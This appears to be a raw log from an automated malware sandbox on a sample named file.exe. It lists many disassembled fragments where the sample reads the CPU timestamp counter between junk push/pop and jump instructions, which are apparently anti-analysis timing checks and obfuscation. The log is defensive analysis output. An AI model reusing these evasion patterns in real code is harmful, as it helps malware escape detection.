Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA90E0 second address: FA90E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9261 second address: FA9265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0E82 second address: FB0E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1345 second address: FB1361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5028523946h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F502852394Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB149F second address: FB14AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F5029365E06h 0x0000000a js 00007F5029365E06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB14AF second address: FB14C5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e js 00007F5028523946h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB17CB second address: FB17E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5029365E0Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB17E3 second address: FB17EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1DC0 second address: FB1DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E0Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C12 second address: FB2C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5028523952h 0x00000008 jns 00007F5028523946h 0x0000000e jmp 00007F502852394Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C39 second address: FB2C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F5029365E0Fh 0x0000000e js 00007F5029365E06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5132 second address: FB515D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F502852394Bh 0x0000000a jmp 00007F5028523953h 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F5028523946h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB515D second address: FB5161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB93A4 second address: FB93A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB93A8 second address: FB93AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9512 second address: FB9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9518 second address: FB9520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9520 second address: FB9525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9525 second address: FB952A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC82F0 second address: FC82F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7E77 second address: FC7EA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F5029365E08h 0x00000011 jnc 00007F5029365E17h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA2FD second address: FCA325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5028523964h 0x0000000a jmp 00007F5028523958h 0x0000000f jne 00007F5028523946h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA325 second address: FCA343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5029365E17h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9FEB second address: FC9FFC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5028523948h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B0C second address: FD0B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B10 second address: FD0B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5028523946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F502852394Fh 0x0000001b jne 00007F5028523946h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA39A second address: FDA3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA3A3 second address: FDA3A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA3A7 second address: FDA3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5029365E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F5029365E0Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F5029365E06h 0x0000001d jmp 00007F5029365E11h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA3DD second address: FDA3FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA3FA second address: FDA401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA401 second address: FDA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE162B second address: FE1654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnc 00007F5029365E06h 0x00000011 jmp 00007F5029365E17h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1654 second address: FE1659 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1659 second address: FE1672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d jmp 00007F5029365E0Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1672 second address: FE168E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5028523955h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFF3D second address: FDFF4A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFF4A second address: FDFF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE008E second address: FE00B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5029365E0Ah 0x00000008 jmp 00007F5029365E19h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0261 second address: FE026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE026A second address: FE0274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5029365E06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8499 second address: FE84A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE84A7 second address: FE84AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE84AB second address: FE84C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F5028523946h 0x0000000d jmp 00007F502852394Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8614 second address: FE861E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5029365E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE861E second address: FE863F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F502852394Eh 0x0000000c popad 0x0000000d jc 00007F5028523958h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF9564 second address: FF9585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F5029365E0Ah 0x0000000f popad 0x00000010 push esi 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBCD3 second address: FFBCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5028523959h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1009F1D second address: 1009F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101950A second address: 101951F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F502852394Ah 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018383 second address: 1018389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018389 second address: 10183A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5028523959h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10186A3 second address: 10186A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10186A9 second address: 10186AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10186AD second address: 10186BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007F5029365E06h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10186BF second address: 10186C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018DEC second address: 1018E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jc 00007F5029365E06h 0x00000011 jc 00007F5029365E06h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101909F second address: 10190A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190A3 second address: 10190B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190B5 second address: 10190C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F502852394Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190C5 second address: 10190C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10190C9 second address: 10190D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019207 second address: 101920B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101920B second address: 101921D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F502852394Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101921D second address: 1019223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101AB91 second address: 101AB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5028523946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EADD second address: 101EAE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ECCD second address: 101ECDE instructions: 0x00000000 rdtsc 0x00000002 je 00007F5028523946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ECDE second address: 101ECF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020643 second address: 102064C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102064C second address: 1020663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5029365E06h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020663 second address: 1020667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020667 second address: 102066F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102203D second address: 1022041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022041 second address: 102204D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5029365E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102204D second address: 1022057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5028523946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022057 second address: 1022064 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5029365E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512029F second address: 51202A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51202A3 second address: 51202A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51202A9 second address: 51202E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5028523958h 0x00000009 xor esi, 0D6B75B8h 0x0000000f jmp 00007F502852394Bh 0x00000014 popfd 0x00000015 mov edi, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov cx, DA3Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51202E4 second address: 5120347 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5029365E0Ah 0x00000008 add esi, 1B943018h 0x0000000e jmp 00007F5029365E0Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F5029365E18h 0x0000001c sub si, 9A78h 0x00000021 jmp 00007F5029365E0Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F5029365E14h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120347 second address: 5120359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F502852394Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120359 second address: 5120391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F5029365E16h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5029365E0Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120391 second address: 5120397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120397 second address: 51203C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F5029365E0Ch 0x00000013 add cl, FFFFFFF8h 0x00000016 jmp 00007F5029365E0Bh 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512043F second address: 512047C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 mov esi, 623E44C7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov eax, edi 0x00000011 pushfd 0x00000012 jmp 00007F502852394Fh 0x00000017 jmp 00007F5028523953h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512047C second address: 5120497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5029365E17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120497 second address: 51204D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5028523958h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204D2 second address: 51204D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204D6 second address: 51204DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204DC second address: 51204E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204E2 second address: 51204E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3ED69 second address: F3ED79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120BB7 second address: 5120BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120BBD second address: 5120BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120BC1 second address: 5120BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120BC5 second address: 5120BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F5029365E17h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
